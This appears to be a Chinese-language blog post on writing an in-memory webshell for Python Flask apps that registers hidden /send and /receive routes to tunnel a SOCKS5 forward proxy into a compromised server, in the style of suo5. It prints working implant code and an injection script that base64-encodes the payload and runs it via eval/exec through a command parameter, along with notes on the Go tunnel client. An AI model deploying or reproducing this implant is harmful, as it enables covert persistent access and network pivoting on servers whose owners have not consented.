本工具仅限获授权的安全测试与教学研究使用，严禁用于非法攻击。使用者因违反相关法律或滥用本工具而导致的任何直接或间接后果，均由使用者本人承担，开发者对此不负任何法律责任。

前情提要

之前做测试的时候有代理的需求，需要代理功能。但找了一圈暂时没有发现有能类似suo5能做正向代理的内存🐎，于是就自己写了一个。

基础内存马芝士🧀

对于python,内存马大概有那么两种，一种是直接加一个路由，这个有点像java内存马中的servlet；另一种是加中间件，对应的就是filter这类，至于这个中间件是什么样我们暂且不论。这里我们暂时只研究加路由的这种。

种马要做的就几步：

• 拿到app/引擎实例
• 写一个处理请求的函数
• 把请求函数通过方法写到运行的app内或直接修改内部的路由表

就像把大象装进冰箱一样，对吧～

内存马样例

参考 Python Web内存马多框架植入技术详解

对于高版本flask来说，原先add_url_rule没法在请求中使用，因此我们需要拿到路由的map然后手动添加路由（其实也不是很繁琐，从调app的函数变成了调map的函数）

实现：

app.url_map.add(app.url_rule_class('/send', methods=['GET'],endpoint='send'))
app.url_map.add(app.url_rule_class('/receive', methods=['POST'],endpoint='receive'))
app.view_functions.update({'send': send_data, 'receive': receive_data})

我们先是在url_map中创建了两个url的类，然后把对应处理的函数贴到了新创建的两个路由上。

顺带的，如果处理函数里涉及到请求相关的参数，我们需要从函数的 __globals__ 属性来获取当前的全局变量字典，在这其中就有需要的 RequestContext 对象

最后放个内存马的大概

raw_proxy_code = r'''
...
def receive_data():
    @stream_with_context
    def process_stream():
        for line in request.stream:
            if not line:
                continue

            raw_line = line.decode(errors="ignore").strip()
            if not raw_line:
                continue
            log(f"receive raw line: {raw_line[:80]}")
            submit_frame(raw_line)

        yield "\n"

    return Response(process_stream(), content_type="text/plain")

def send_data():
    @stream_with_context
    def generate():
        while True:
            try:
                data_to_send = send_buffer.get(timeout=1)
                log(f"sending data to client: {data_to_send[:50]}... (stream_id={data_to_send.split(':', 1)[0]})")
                yield f"{data_to_send}\n"
            except queue.Empty:
                yield "\n"


    return Response(generate(), content_type="text/plain")
    
app.url_map.add(app.url_rule_class('/send', methods=['GET'],endpoint='send'))
app.url_map.add(app.url_rule_class('/receive', methods=['POST'],endpoint='receive'))
app.view_functions.update({'send': send_data, 'receive': receive_data})
'''
# 将代码转换为 Base64 字节流
b64_payload = base64.b64encode(raw_proxy_code.encode('utf-8')).decode('utf-8')

# 构造最终的 eval 语句
# base64处理，避免空字符使语句中断
final_cmd = f"eval(\"exec(__import__('base64').b64decode('{b64_payload}').decode(), globals())\")"

# 发送测试命令到 /test 接口
import requests
response = requests.get("http://127.0.0.1:5000/test", params={"cmd": final_cmd})
print("[+] 接口响应:", response.text)

在别的架构上exp大差不差，只需要把路由函数和添加路由的方法修改成对应架构的就行。

处理的函数我们可以慢慢写

fastapi参考FastAPI 内存马的研究

关于正向代理

现在我们跑通了注入这部分，是时候写正向代理了。

关于隧道，参考suo5的全双工情况，创建两个路由，用于收发数据。

然后我们要通过这个隧道复用创建连接。

这个在golang上有现成的库，能够跑socks5代理,我用的是things-go/go-socks5。

想自定义连接，需要实现 dial func(ctx context.Context, network, addr string, request *Request) (net.Conn, error)，从命名上看这个函数就是创建一个连接。

因此写了HTTPTunnel和HTTPTunnelConnect这俩，前者用于控制隧道；后者实现了net.Conn这个接口来复用隧道。

python这边的代码比较简单，就是通过id来找数据包对应的socket,然后收发数据（但是也蛮大一坨的）。

mtu的分包暂时不考虑，毕竟我们是跑在http上的。但如果碰到nginx反代限制一次性传入的context-length,我们就需要不定时关闭单向的隧道并重连。这个暂时还没写。

踩坑

发现创建conn后，go-socks5会直接关闭。通过在Close()中打印debug.stack(),通过ai发现是HTTPTunnelConnect的LocalAddr实现有问题，明确要求返回一个net.TCP类型。这个应该是本地socks5监听的端口，要求net.TCP也合理。

最後

这个项目使用和适配起来比较麻烦，毕竟不像java有一个jsp可以直接用，注入实现和python端的代码还需要找拌饭完善。

项目链接